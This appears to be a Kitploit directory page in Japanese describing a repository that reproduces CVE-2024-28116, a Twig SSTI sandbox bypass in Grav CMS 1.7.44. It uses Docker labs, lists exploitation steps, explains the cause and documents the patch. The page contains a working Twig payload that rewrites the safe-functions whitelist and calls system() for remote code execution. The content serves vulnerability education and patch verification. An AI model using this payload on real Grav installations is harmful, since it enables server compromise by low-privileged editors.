Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
grav-cve-2024-28116 — CVE-2024-28116の解析とDockerでの再現 - Grav CMSにおけるサンドボックスバイパスを伴うSSTI | Kitploit
ツール/GitHubGitHub/bebarossi/grav-cve-2024-28116
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティ学習と教育ラボと実践
GitHubbebarossi/grav-cve-2024-28116

grav-cve-2024-28116

CVE-2024-28116の解析とDockerでの再現 - Grav CMSにおけるサンドボックスバイパスを伴うSSTI

リポジトリを見る
821日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-28116 — Grav CMS におけるサンドボックスバイパスを伴う SSTI

CVE-2024-28116 の解析と Docker による再現。これは、Grav CMS バージョン 1.7.44 以前に影響し、バージョン 1.7.45 で修正された、セキュリティサンドボックスバイパスを伴うサーバーサイドテンプレートインジェクション(SSTI)の脆弱性です。

報告者: Maurizio Siddu (akabe1)
CVSS v3.1 スコア: 8.8(高)
修正バージョン: Grav CMS 1.7.45


リポジトリ構成

  • vulnerable
    • Dockerfile # Grav CMS 1.7.44(脆弱性あり)
    • apache.conf # Apache 設定
  • patched
    • Dockerfile # Grav CMS 1.7.45(パッチ適用済み)
    • apache.conf # Apache 設定
  • CVE-2024-28116_Report.pdf

必要条件

  • macOS に Docker Desktop がインストールされ、実行されていること
  • 他の依存関係は不要です。すべてコンテナ内にインストールされています

脆弱性のある環境(Grav 1.7.44)の実行方法

root@kitploit:~
cd vulnerable
docker build -t grav-vulnerable .
docker run -d -p 8080:80 --name grav-test grav-vulnerable

ブラウザで http://localhost:8080/admin を開き、初回アクセス時に管理者アカウントを作成してください。


エクスプロイトの再現方法

  1. 管理パネルで、編集者権限のみを持つ2つ目のユーザーアカウントを作成します(Login to Site、Login to Admin、Pages を Allowed に設定し、その他はすべて Not set)
  2. プライベートブラウザウィンドウを開き、http://localhost:8080/admin で編集者としてログインします
  3. Pages → Add Page に移動し、タイトルを test page に設定して Continue をクリックします
  4. Advanced タブで、Process の下にある Markdown と Twig の両方にチェックを入れて Twig 処理を有効にします
  5. Content タブで、次のペイロードを貼り付けます:
root@kitploit:~
{% set arr = {'1':'system', '2':'foo'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_functions', arr)) }}
{{ system('id') }}
  1. Save をクリックします
  2. 通常のブラウザタブを開き、http://localhost:8080/test-page にアクセスします
  3. サーバーは Grav の完全な設定オブジェクトをダンプし、最下部に uid=33(www-data) gid=33(www-data) groups=33(www-data) を表示します

これにより、Webサーバーユーザーとしてのリモートコード実行(RCE)が確認されます。


パッチ適用済み環境(Grav 1.7.45)の実行方法

root@kitploit:~
docker stop grav-test
cd ../patched
docker build -t grav-patched .
docker run -d -p 8081:80 --name grav-patched grav-patched

ブラウザで http://localhost:8081/admin を開き、上記のすべてのエクスプロイト手順を http://localhost:8081/test-page を対象に繰り返します。

ページは完全に空白になります。Security.php の cleanDangerousTwig() メソッドが、twig.safe_functions ディレクティブを Twig エンジンに渡す前に検出してブロックします。ホワイトリストは変更されず、コマンドは実行されません。


脆弱性の仕組み

脆弱性は system/src/Grav/Common/Twig.php にあります。Grav は、isDangerousFunction() によってチェックされるブラックリストに基づき、Twig テンプレート内での危険な PHP 関数の呼び出しを防ぐサンドボックスを実装しています。しかし、サンドボックスは Twig オブジェクト自体を保護しません。編集者レベルのユーザーは、細工したテンプレートディレクティブを介して Twig オブジェクトとやり取りし、実行時に system.twig.safe_functions ホワイトリストを上書きできます。system() などの危険な関数がホワイトリストに追加されると、サンドボックスチェックがバイパスされ、その関数が自由に実行されます。


修正内容

このパッチは、system/src/Grav/Common/Security.php 内の cleanDangerousTwig() メソッドのブロック対象パターンリストに 'twig.safe_functions' を追加します。この文字列を含むディレクティブは、Twig エンジンに到達する前に無効化されるため、編集者がテンプレート内からホワイトリストを変更することは不可能になります。

ツールをダウンロード